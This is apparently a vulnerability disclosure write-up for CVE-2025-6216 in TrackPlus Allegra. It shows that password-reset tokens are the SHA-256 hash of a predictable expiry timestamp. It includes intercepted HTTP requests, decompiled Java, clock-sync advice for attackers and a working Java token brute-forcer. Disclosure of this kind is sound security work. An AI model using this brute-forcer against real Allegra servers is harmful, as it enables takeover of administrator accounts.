CVE-2025-6216: Authentication Bypass In TrackPlus Allegra

CVE Information

CVE ID: CVE-2025-6216

Severity: HIGH

CVSS Score: 9.8

Affected Product: TrackPlus Allegra

Vulnerability Type: Authentication Bypass

Discovery Date: June 2025

Executive Summary

A critical authentication bypass vulnerability has been discovered in TrackPlus Allegra 8.1.3, allowing unauthenticated attackers to gain administrative access to the application.

Technical Details

The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application

Vulnerability Analysis

The application uses a mixture of struts2 and Jakarta as Framework for the entire webapp. The REST apis are primarily written in Jakarta. So if you want to find the source code of an endpoint you can search something like:

@POST("/login")
However , the requests originatig from the UI doesn't target the REST apis , matter of fact the REST apis are not even enabled by default.

Upon filling out the Login form we see the below request.

POST /demo/logon!beforeLogin.action HTTP/1.1
Host: 192.168.30.135:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 139
Origin: http://192.168.30.135:8082
Connection: keep-alive
Referer: http://192.168.30.135:8082/demo/logoff.action?logOff=true&dc=1755430588839
Cookie: JSESSIONID=03DF3A328A62E93CF33A06F9B6FB7227
Priority: u=0

username=admin&password=000400010008000c000b&nonce=e4e75183e231444c8af0b6dc7f70ba4d&fromAjax=true&_dc=1755431276521&appType=&appActionName=

Similarly when we trigger the forget Password we see the below Request.

POST /demo/resetPassword.action HTTP/1.1
Host: 192.168.30.135:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Origin: http://192.168.30.135:8082
Connection: keep-alive
Referer: http://192.168.30.135:8082/demo/logoff.action?logOff=true&dc=1755430588839
Cookie: JSESSIONID=03DF3A328A62E93CF33A06F9B6FB7227

email=admin%40test.com&fromAjax=true&_dc=1755431380425&appType=&appActionName=

Checking the struts-track.xml we can see that the resetPassword action is mapped to com.aurel.track.user.ResetPasswordAction class

<action name="resetPassword" class="com.aurel.track.user.ResetPasswordAction">
<result name="failure" type="redirectAction">logoff</result>
<result name="resetPassword">/pages/application/borderLayout.jsp</result>
<result name="expired">/pages/application/borderLayout.jsp</result>
<interceptor-ref name="defaultNoAuth" />
</action>

Below is the ResetPasswordAction.class execute() method definition

public String execute() {
    Locale locale = this.servletRequest.getLocale();
    ArrayList<LabelValueBean> errors = new ArrayList<LabelValueBean>();
    String serverUrl = ApplicationBean.getInstance().getServerAbsUrl();
    boolean emailSent = ProfileBL.resetPassword(this.email, serverUrl, true, errors, locale);
    if (errors.isEmpty()) {
        StringBuilder sb = new StringBuilder();
        sb.append("{");
        JSONUtility.appendBooleanValue(sb, "success", true);
        sb.append("\"data\":{");
        JSONUtility.appendBooleanValue(sb, "emailSent", emailSent, true);
        sb.append("}");
        sb.append("}");
        JSONUtility.encodeJSON(ServletActionContext.getResponse(), sb.toString());
    } else {
        JSONUtility.encodeJSONErrorsExtJS(ServletActionContext.getResponse(), errors);
    }
    return null;
}

The way struts action works , is the action class will implement an execte() method and whenever this class is triggered this function gets triggered.

Checking the above execute method we can see that the profileBL.resetPassword() method is called.

public static boolean resetPassword(String email, String serverURL, boolean automaticLoginAfterReset, List<LabelValueBean> errors, Locale locale) {
    ApplicationBean appBean = ApplicationBean.getInstance();
    if (appBean == null) {
        LOGGER.error("No ApplicationBean found, this should never happen");
        return false;
    }
    boolean haveErrors = false;
    boolean emailSent = false;
    StringBuilder errorsMessage = new StringBuilder();
    try {
        List<TPersonBean> personList = PersonBL.loadByEmail(email);
        List<TPersonBean> loginnameArray = new ArrayList<>(5);
        if (personList != null) {
            LOGGER.debug("Now looping through responses...");
            for (TPersonBean person : personList) {
                LOGGER.debug("Could retrieve person with login name {}", person.getLoginName());
                loginnameArray.add(person);
                Date texpDate = PersonBL.calculateTokenExpDate((Date) null);
                person.setTokenExpDate(texpDate);
                String tokenPasswd = DigestUtils.sha256Hex(Long.toString(texpDate.getTime()));
                person.setForgotPasswordKey(tokenPasswd);
                person.setLastEdit(new Date());
                if (!GeneralSettings.isDemoSite() || person.getIsSysAdmin()) {
                    PersonBL.saveSimple(person);
                }
            }
        }
        if (loginnameArray.isEmpty()) {
            haveErrors = true;
            errorsMessage.append(getText("logon.newpassword.error.email.missing", locale) + "\n");
        }
        if (!loginnameArray.isEmpty() && !haveErrors) {
            try {
                emailSent = sendResetPassword(loginnameArray, email, serverURL, automaticLoginAfterReset);
            } catch (Exception e) {
                LOGGER.error(ExceptionUtils.getStackTrace(e));
                errorsMessage.append(getText("logon.newpassword.error.email.sendFailed", locale) + "\n");
                haveErrors = true;
            }
        }
    } catch (Exception e2) {
        LOGGER.debug(e2.getMessage(), e2);
        LOGGER.error("Cannot mail new password.");
        errorsMessage.append(getText("logon.err.noDataBase", locale) + "\n");
        haveErrors = true;
    }
    if (haveErrors) {
        errors.add(new LabelValueBean(errorsMessage.toString(), "email"));
    }
    return emailSent;
}

Above code block is the resetPassword() method of the ProfileBL class.

PersonBL.calculateTokenExpDate((Date) null); calculates the expiry date of the token, then DigestUtils.sha256Hex(Long.toString(texpDate.getTime())); encrypts the token with sha256 hash and stores it in the Person Object

Later this token gets sent to the user via email.

So far so good.

However the problem lies in the calculateTokenExpDate(). If you check the whole code , there has to be some place where the secret token must be getting generated. calculateTokenExpDate() is the function where the token gets generated and an expiry date gets set. Below is how the calculateTokenExpDate() function looks like

public static Date calculateTokenExpDate(Date personCreatedDate) {
    long tokenExpInMillis = 28800000L;
    if (personCreatedDate != null) {
        return new Date(personCreatedDate.getTime() + tokenExpInMillis);
    }
    return new Date(new Date().getTime() + tokenExpInMillis);
}

It uses java's date() function to generate the secret token and add an expiry on it. This function doesn't generate cryptographic secure token and thus can be bruteforced with linear time . Couple of things that attackers has to keep in mind while exploting this kind of flaw is

  1. The Timezone difference
  2. The time difference(Even difference in few seconds may disrupt the attack)
Best way is to take a server in the same time zone and use a curl command that gets the server clock time and then sync your attacker's server clock to the same.

Proof of Concept

The following demonstrates how an attacker can bypass authentication:

We can write a small java programme that is going to brute force the token and print it out.

Token Brute Forcer

import java.util.*;
import org.apache.commons.codec.digest.DigestUtils;

public class TokenHashBruteForce {

    public static void main(String[] args) {
        // Current time
        long now = System.currentTimeMillis();
        
        // 5 seconds back, 2 seconds forward
        long start = now - (5 * 1000); // 5 seconds
        long end = now + (2 * 1000);   // 2 seconds

        // 8 hours in milliseconds
        long eightHoursMillis = 28800000L;

        List<String> hashes = new ArrayList<>();

        for (long time = start; time <= end; time++) {
            long expirationTime = time + eightHoursMillis;
            String hash = DigestUtils.sha256Hex(Long.toString(expirationTime));
            hashes.add(hash);
        }

        // Output all hashes
        for (String h : hashes) {
            System.out.println(h);
        }

        System.out.println("\nTotal Hashes generated: " + hashes.size());
    }
}

Combined with a python3 script to automate the forget password request we can attain complete auth Bypass.

The exploit POC can can be found at : POC.py

Affected Versions

This vulnerability affects TrackPlus Allegra versions ≤ 8.1.3.32. Organizations using affected versions should immediately apply security patches.

Timeline

References

This research was conducted by the ZDaylabs security team as part of our ongoing commitment to improving application security.